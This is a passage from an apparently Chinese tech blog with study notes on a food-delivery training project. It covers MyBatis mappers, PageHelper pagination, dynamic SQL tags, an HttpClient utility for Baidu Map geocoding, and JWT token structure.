class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 原始 JDBC 写法（伪代码）</span></span><br><span class="line"><span class="keyword">public</span> AddressBook <span class="title function_">getById</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="type">Connection</span> <span class="variable">conn</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="type">PreparedStatement</span> <span class="variable">ps</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="type">ResultSet</span> <span class="variable">rs</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        conn = DriverManager.getConnection(url, user, password);</span><br><span class="line">        ps = conn.prepareStatement(<span class="string">&quot;select * from address_book where id = ?&quot;</span>);</span><br><span class="line">        ps.setLong(<span class="number">1</span>, id);</span><br><span class="line">        rs = ps.executeQuery();</span><br><span class="line">        <span class="keyword">if</span> (rs.next()) &#123;</span><br><span class="line">            <span class="type">AddressBook</span> <span class="variable">ab</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AddressBook</span>();</span><br><span class="line">            ab.setId(rs.getLong(<span class="string">&quot;id&quot;</span>));</span><br><span class="line">            ab.setUserId(rs.getLong(<span class="string">&quot;user_id&quot;</span>));</span><br><span class="line">            ab.setConsignee(rs.getString(<span class="string">&quot;consignee&quot;</span>));</span><br><span class="line">            ab.setPhone(rs.getString(<span class="string">&quot;phone&quot;</span>));</span><br><span class="line">            ab.setProvinceName(rs.getString(<span class="string">&quot;province_name&quot;</span>));</span><br><span class="line">            <span class="comment">// ... 还要写十几行 setter</span></span><br><span class="line">            <span class="keyword">return</span> ab;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (SQLException e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="comment">// 手动关闭 ResultSet、PreparedStatement、Connection</span></span><br><span class="line">        <span class="keyword">if</span> (rs != <span class="literal">null</span>) <span class="keyword">try</span> &#123; rs.close(); &#125; <span class="keyword">catch</span> (SQLException e) &#123;&#125;</span><br><span class="line">        <span class="keyword">if</span> (ps != <span class="literal">null</span>) <span class="keyword">try</span> &#123; ps.close(); &#125; <span class="keyword">catch</span> (SQLException e) &#123;&#125;</span><br><span class="line">        <span class="keyword">if</span> (conn != <span class="literal">null</span>) <span class="keyword">try</span> &#123; conn.close(); &#125; <span class="keyword">catch</span> (SQLException e) &#123;&#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>用了 MyBatis 之后则只需要定义一个接口，</p><p>MyBatis 会自动完成：</p><ul><li>打开数据库连接</li><li>把 #{id} 替换为参数值</li><li>执行 SQL</li><li>把查询结果自动映射为 AddressBook 对象</li><li>关闭连接</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Mapper</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">AddressBookMapper</span> &#123;</span><br><span class="line">    <span class="meta">@Select(&quot;select * from address_book where id = #&#123;id&#125;&quot;)</span></span><br><span class="line">    AddressBook <span class="title function_">getById</span><span class="params">(Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="PageHelper"><a href="#PageHelper" class="headerlink" title="PageHelper"></a>PageHelper</h2><h3 id="1-什么是PageHelper"><a href="#1-什么是PageHelper" class="headerlink" title="1 什么是PageHelper"></a>1 什么是PageHelper</h3><p>PageHelper 是 MyBatis 的分页插件，核心价值是你写的 SQL 不需要 LIMIT，它自动帮你加 。应用场景是分页查询。PageHelper 是 MyBatis 的一个 分页插件 。它的核心原理是： 在执行 SQL 之前拦截并自动拼接 LIMIT ? OFFSET ? ，让原来不分页的 SQL 变成分页 SQL 。</p><h3 id="2-怎么使用PageHelper"><a href="#2-怎么使用PageHelper" class="headerlink" title="2 怎么使用PageHelper"></a>2 怎么使用PageHelper</h3><h4 id="2-1-配置依赖"><a href="#2-1-配置依赖" class="headerlink" title="2.1 配置依赖"></a>2.1 配置依赖</h4><p>父pom.xml 中定义版本</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">pagehelper</span>&gt;</span>1.3.0<span class="tag">&lt;/<span class="name">pagehelper</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">dependencyManagement</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.github.pagehelper<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>pagehelper-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;pagehelper&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencyManagement</span>&gt;</span></span><br></pre></td></tr></table></figure><p>sky-server 模块中引入</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&lt;dependency&gt;</span></span><br><span class="line">    <span class="string">&lt;groupId&gt;com.github.pagehelper&lt;/groupId&gt;</span></span><br><span class="line">    <span class="string">&lt;artifactId&gt;pagehelper-spring-boot-starter&lt;/artifactId&gt;</span></span><br><span class="line"><span class="string">&lt;/dependency&gt;</span></span><br></pre></td></tr></table></figure><h4 id="2-2-通用三步模式使用"><a href="#2-2-通用三步模式使用" class="headerlink" title="2.2 通用三步模式使用"></a>2.2 通用三步模式使用</h4><p>项目中所有分页查询都遵循同样的三步：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">//</span> <span class="string">①</span> <span class="string">启动分页</span> <span class="string">——</span> <span class="string">设置第几页、每页多少条</span></span><br><span class="line"><span class="string">PageHelper.startPage(pageNum,</span> <span class="string">pageSize);</span></span><br><span class="line"></span><br><span class="line"><span class="string">//</span> <span class="string">②</span> <span class="string">执行查询</span> <span class="string">——</span> <span class="string">注意：SQL</span> <span class="string">里没有</span> <span class="string">LIMIT</span></span><br><span class="line"><span class="string">Page&lt;Xxx&gt;</span> <span class="string">page</span> <span class="string">=</span> <span class="string">xxxMapper.pageQuery(queryDTO);</span></span><br><span class="line"></span><br><span class="line"><span class="string">//</span> <span class="string">③</span> <span class="string">拿到分页结果</span></span><br><span class="line"><span class="string">long</span> <span class="string">total</span> <span class="string">=</span> <span class="string">page.getTotal();</span>        <span class="string">//</span> <span class="string">总记录数</span></span><br><span class="line"><span class="string">List&lt;Xxx&gt;</span> <span class="string">records</span> <span class="string">=</span> <span class="string">page.getResult();</span> <span class="string">//</span> <span class="string">当前页数据</span></span><br></pre></td></tr></table></figure><h2 id="MyBatis-Dynamic-SQL"><a href="#MyBatis-Dynamic-SQL" class="headerlink" title="MyBatis Dynamic SQL"></a>MyBatis Dynamic SQL</h2><h3 id="1-什么是-Dynamic-SQL"><a href="#1-什么是-Dynamic-SQL" class="headerlink" title="1 什么是 Dynamic SQL"></a>1 什么是 Dynamic SQL</h3><p>MyBatis Dynamic SQL （MyBatis 动态 SQL），是 MyBatis 框架内置的一项核心能力。它允许在 XML 映射文件中用标签来编写 可以根据条件变化的 SQL 语句 。</p><h3 id="2-Dynamic-SQL的动态标签"><a href="#2-Dynamic-SQL的动态标签" class="headerlink" title="2 Dynamic SQL的动态标签"></a>2 Dynamic SQL的动态标签</h3><h4 id="2-1-—-条件判断"><a href="#2-1-—-条件判断" class="headerlink" title="2.1  — 条件判断"></a>2.1 <if> — 条件判断</h4><p>语法 ：</p><p>本项目实例 ： OrderMapper.xml</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;pageQuery&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;Orders&quot;</span>&gt;</span></span><br><span class="line">    select * from orders</span><br><span class="line">    <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;number != null and number!=&#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">            and number like concat(&#x27;%&#x27;,#&#123;number&#125;,&#x27;%&#x27;)</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;phone != null and phone!=&#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">            and phone like concat(&#x27;%&#x27;,#&#123;phone&#125;,&#x27;%&#x27;)</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;userId != null&quot;</span>&gt;</span></span><br><span class="line">            and user_id = #&#123;userId&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;status != null&quot;</span>&gt;</span></span><br><span class="line">            and status = #&#123;status&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;beginTime != null&quot;</span>&gt;</span></span><br><span class="line">            and order_time <span class="symbol">&amp;gt;</span>= #&#123;beginTime&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;endTime != null&quot;</span>&gt;</span></span><br><span class="line">            and order_time <span class="symbol">&amp;lt;</span>= #&#123;endTime&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line">    order by order_time desc</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>执行逻辑 ：根据传入的 OrdersPageQueryDTO 中哪些字段不为 null，动态拼接对应的 <strong>WHERE 条件</strong>。全部为 null 时，SQL 变成 select * from orders order by order_time desc （无条件查询）。</p><h4 id="2-2-—-智能-WHERE-子句"><a href="#2-2-—-智能-WHERE-子句" class="headerlink" title="2.2  — 智能 WHERE 子句"></a>2.2 <where> — 智能 WHERE 子句</h4><p>语法 ：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;...&quot;</span>&gt;</span>and xxx<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;...&quot;</span>&gt;</span>and yyy<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br></pre></td></tr></table></figure><p>作用 ： <where> 有两个智能行为：</p><ol><li>如果内部有至少一个条件成立，自动加 WHERE 关键字</li><li>自动去掉 第一个条件前面的 AND 或 OR</li></ol><h4 id="2-3-—-智能-SET-子句"><a href="#2-3-—-智能-SET-子句" class="headerlink" title="2.3  — 智能 SET 子句"></a>2.3 <set> — 智能 SET 子句</h4><p>语法 ：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">set</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;...&quot;</span>&gt;</span>字段名 = #&#123;值&#125;,<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;...&quot;</span>&gt;</span>字段名 = #&#123;值&#125;,<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">set</span>&gt;</span></span><br></pre></td></tr></table></figure><p>作用 ：自动去掉 最后一个字段后面的逗号 ，防止 SQL 语法错误。</p><h4 id="2-4-—-循环遍历"><a href="#2-4-—-循环遍历" class="headerlink" title="2.4  — 循环遍历"></a>2.4 <foreach> — 循环遍历</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;集合名&quot;</span> <span class="attr">item</span>=<span class="string">&quot;元素变量&quot;</span> <span class="attr">separator</span>=<span class="string">&quot;,&quot;</span> <span class="attr">open</span>=<span class="string">&quot;(&quot;</span> <span class="attr">close</span>=<span class="string">&quot;)&quot;</span>&gt;</span></span><br><span class="line">    #&#123;元素变量&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br></pre></td></tr></table></figure><p>本项目实例:批量删除</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">delete</span> <span class="attr">id</span>=<span class="string">&quot;deleteByIds&quot;</span>&gt;</span></span><br><span class="line">    delete from dish</span><br><span class="line">    where id in</span><br><span class="line">    <span class="tag">&lt;<span class="name">foreach</span> <span class="attr">collection</span>=<span class="string">&quot;ids&quot;</span> <span class="attr">item</span>=<span class="string">&quot;id&quot;</span> <span class="attr">open</span>=<span class="string">&quot;(&quot;</span> <span class="attr">separator</span>=<span class="string">&quot;,&quot;</span> <span class="attr">close</span>=<span class="string">&quot;)&quot;</span>&gt;</span></span><br><span class="line">        #&#123;id&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">foreach</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">delete</span>&gt;</span></span><br></pre></td></tr></table></figure><p>渲染结果（传入 ids &#x3D; [1, 2, 3] ）：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> dish <span class="keyword">WHERE</span> id <span class="keyword">IN</span> (<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>)</span><br></pre></td></tr></table></figure><h2 id="HttpClient"><a href="#HttpClient" class="headerlink" title="HttpClient"></a>HttpClient</h2><p>在本项目（苍穹外卖）中，HttpClient 的唯一用途是： 调用百度地图 API，检测用户的收货地址是否在商家的配送范围内。</p><p>具体业务场景：用户下单时，系统需要验证用户填写的地址是否超过了商家设定的配送距离（比如 5 公里以内）。这就需要通过地图服务来获取商家和用户地址的经纬度，并计算两点之间的实际距离。</p><h3 id="1-什么是HttpClient"><a href="#1-什么是HttpClient" class="headerlink" title="1 什么是HttpClient"></a><strong>1 什么是HttpClient</strong></h3><p>HttpClient 是 Java 中用于 发送 HTTP 请求 的客户端工具库，它模拟了浏览器的行为，允许后端服务像访问网页一样去调用外部的接口（API）、下载资源等。</p><p>简单来说，它就是 Java 版本的”浏览器请求工具”，常用于：</p><ul><li>调用第三方服务的 API（如支付、地图、短信服务）</li><li>爬取网页数据</li><li>微服务之间的互相调用</li></ul><h3 id="2-如何使用HttpClient"><a href="#2-如何使用HttpClient" class="headerlink" title="2 如何使用HttpClient"></a><strong>2 如何使用HttpClient</strong></h3><p><strong>2.1 导入maven坐标</strong></p><p>本项目中因为已经导入了 aliyun-sdk-oss，而其底层使用到了 HttpClient，就不需要我们再去导坐标了</p><p><strong>2.2 创建HttpClient对象</strong></p><p>项目没有直接使用原始的 Apache HttpClient，而是封装成了一个静态工具类 HttpClientUtil.java ，底层基于 Apache HttpClient 4.x 。</p><p>它提供了三个核心方法：</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=NjZkMThhYjIwNjU3YTQxNTUwMWQ4Y2I4NzEwNTNjYjZfaXZyRUpHNEh1YnpCdlBKQzVOTDhxQzBFTGVuSHFHU1JfVG9rZW46UDY0aWJsSGFRb09EaW14anZlRWNOUkQxbk9lXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>工具类还做了这些处理：</p><ul><li>设置了 5秒超时 （ TIMEOUT_MSEC ），避免外部接口卡死导致系统阻塞</li><li>自动把 Map&lt;String,String&gt; 参数拼成 URL query string 或表单</li><li>自动处理响应编码（UTF-8）</li><li>自动关闭资源（防止连接泄露）</li></ul><p><strong>2.3 创建Http请求对象</strong></p><p><strong>2.4 调用HttpClient的execute方法发送请求</strong></p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 发送GET方式请求</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> <span class="variable">url</span></span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> <span class="variable">paramMap</span></span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="title class_">String</span> <span class="title function_">doGet</span>(<span class="params"><span class="title class_">String</span> url,<span class="title class_">Map</span>&lt;<span class="title class_">String</span>,<span class="title class_">String</span>&gt; paramMap</span>)&#123;</span><br><span class="line">    <span class="comment">// 创建Httpclient对象</span></span><br><span class="line">    <span class="title class_">CloseableHttpClient</span> httpClient = <span class="title class_">HttpClients</span>.<span class="title function_">createDefault</span>();</span><br><span class="line"></span><br><span class="line">    <span class="title class_">String</span> result = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="title class_">CloseableHttpResponse</span> response = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>&#123;</span><br><span class="line">        <span class="title class_">URIBuilder</span> builder = <span class="keyword">new</span> <span class="title class_">URIBuilder</span>(url);</span><br><span class="line">        <span class="keyword">if</span>(paramMap != <span class="literal">null</span>)&#123;</span><br><span class="line">            <span class="keyword">for</span> (<span class="title class_">String</span> key : paramMap.<span class="title function_">keySet</span>()) &#123;</span><br><span class="line">                builder.<span class="title function_">addParameter</span>(key,paramMap.<span class="title function_">get</span>(key));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="variable constant_">URI</span> uri = builder.<span class="title function_">build</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">//创建GET请求</span></span><br><span class="line">        <span class="title class_">HttpGet</span> httpGet = <span class="keyword">new</span> <span class="title class_">HttpGet</span>(uri);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//发送请求</span></span><br><span class="line">        response = httpClient.<span class="title function_">execute</span>(httpGet);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//判断响应状态，接收有效回显</span></span><br><span class="line">        <span class="keyword">if</span>(response.<span class="title function_">getStatusLine</span>().<span class="title function_">getStatusCode</span>() == <span class="number">200</span>)&#123;</span><br><span class="line">            result = <span class="title class_">EntityUtils</span>.<span class="title function_">toString</span>(response.<span class="title function_">getEntity</span>(),<span class="string">&quot;UTF-8&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;<span class="keyword">catch</span> (<span class="title class_">Exception</span> e)&#123;</span><br><span class="line">        e.<span class="title function_">printStackTrace</span>();</span><br><span class="line">    &#125;<span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">//关闭资源</span></span><br><span class="line">            response.<span class="title function_">close</span>();</span><br><span class="line">            httpClient.<span class="title function_">close</span>();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (<span class="title class_">IOException</span> e) &#123;</span><br><span class="line">            e.<span class="title function_">printStackTrace</span>();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>2.5 实际业务调用</strong></p><p>创建好HttpClient工具类后，后续业务可以直接调用</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="built_in">void</span> <span class="title function_">checkOutOfRange</span>(<span class="params"><span class="title class_">String</span> address</span>) &#123;</span><br><span class="line">    <span class="title class_">Map</span> map = <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">    map.<span class="title function_">put</span>(<span class="string">&quot;address&quot;</span>, shopAddress);    <span class="comment">// 商家地址</span></span><br><span class="line">    map.<span class="title function_">put</span>(<span class="string">&quot;output&quot;</span>, <span class="string">&quot;json&quot;</span>);</span><br><span class="line">    map.<span class="title function_">put</span>(<span class="string">&quot;ak&quot;</span>, ak);                  <span class="comment">// 百度地图的授权key</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ① 获取商家的经纬度（调用百度地理编码API）</span></span><br><span class="line">    <span class="title class_">String</span> shopCoordinate = <span class="title class_">HttpClientUtil</span>.<span class="title function_">doGet</span>(</span><br><span class="line">        <span class="string">&quot;https://api.map.baidu.com/geocoding/v3&quot;</span>, map);</span><br><span class="line"></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="JWT"><a href="#JWT" class="headerlink" title="JWT"></a>JWT</h2><h3 id="1-JWT的概念"><a href="#1-JWT的概念" class="headerlink" title="1 JWT的概念"></a>1 JWT的概念</h3><p>JWT 全称：JSON Web Token，定义了一种简洁的、自包含的格式，用于在通信双方以 JSON 数据格式安全的传输信息。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=NzMxMWU0MWJjN2M2MGFkNTQ3YzcxZThjMjZhZDcwOGZfSXJaV1ZvOEEyQjdHUmtMbU5CWW1YaEFvT1FPU05rc1dfVG9rZW46VXpkT2Jjc1Qzb2RYQW14bzB1dGNCeTVybmZoXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h3 id="2-JWT令牌的组成"><a href="#2-JWT令牌的组成" class="headerlink" title="2 JWT令牌的组成"></a>2 JWT令牌的组成</h3><p>整个 JWT 令牌是由三个部分组成的，三个部分之间只用 “.” 来分隔</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MmI1OTY0YjBkMzJjNTAwZDgxNWNhZTQzNTFjMTZmODdfOVBFR3N5dzA5TE9OQnFMV0FRYW05Qm4wREx6M05yZGRfVG9rZW46WENoU2JNeXlXb0tLdzd4NW5ZNmNzUWZFbnVlXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>第一部分</p><p>是头部区域，其记录的内容比较固定，是令牌的类型以及签名算法，它的数据格式就是JSON数据格式。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=OTVjMjEzZDJhMzc0ZDg5MmM4YzY2YmJmNDRkYzE5ODNfMnozVnQzOGU4WUV5QW5SR0phN3d2a1pJbk1ISXI5NDZfVG9rZW46UEowWWJ4VzVHb1lPY2h4VU9vUWNYVFJ3bjNmXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>上面大括号中是原始的 JSON 数据格式，alg 指定的就是签名算法，这里指定的算法就是 HS256，将来就会根据这里指定的算法对令牌进行数字签名，type 指定的就是令牌的类型，这里令牌的类型是 JWT。那么是如何由上面原始的 JSON 数据格式变成下面这样的字符串的呢？在生成 JWT 令牌的时候，会对上面原始的 JSON 数据格式的字符串进行一次 Base64编码。</p><p>第二部分</p><p>第二部分是有效载荷，可以携带一些自定义信息和一些默认信息。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=YmE5MThjNTc1MmMyNWZkYzI1YzU2NDhhMzljYWU2MDNfa2toV29OMVI3aU9Eelh4V0lCT2FDMVJwcG1mZ3poMXVfVG9rZW46V0pDS2JCZ2dzb0d6M0p4MzBQVmNvWndLbllkXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>与头部区域一样，原始数据依旧是 JSON 数据格式的字符串，进行 Base64编码后变成下面这样的字符串。</p><p>第三部分</p><p>第三部分是签名，签名的目的是防止 Token 被篡改，从而确保令牌的安全性，而这个签名呢，正是通过第一部分头部区域所指定的签名算法所算出来的。并不是 Base64编码，而且还会融入前面第一部分和第二部分的内容。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=Y2ExNzczZDJkZmM5ZjgxODY4NDljYmZkMDhhNzdiYjdfelhGWGoxR1k1VGE2ZDZKOUZwSVp1Z1h0YWNoZG5mc0pfVG9rZW46SkE1RmJHc09Ob1paNmt4TVZQeGNXcGJHbkZoXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>现在能理解为什么 JWT 是用于在通信双方以 JSON 数据格式安全的传输信息的了吧，因为原始的数据格式就是 JSON 数据格式的。</p><h3 id="3-如何生成JWT令牌？"><a href="#3-如何生成JWT令牌？" class="headerlink" title="3 如何生成JWT令牌？"></a>3 如何生成JWT令牌？</h3><p>1.导入maven坐标</p><p><img 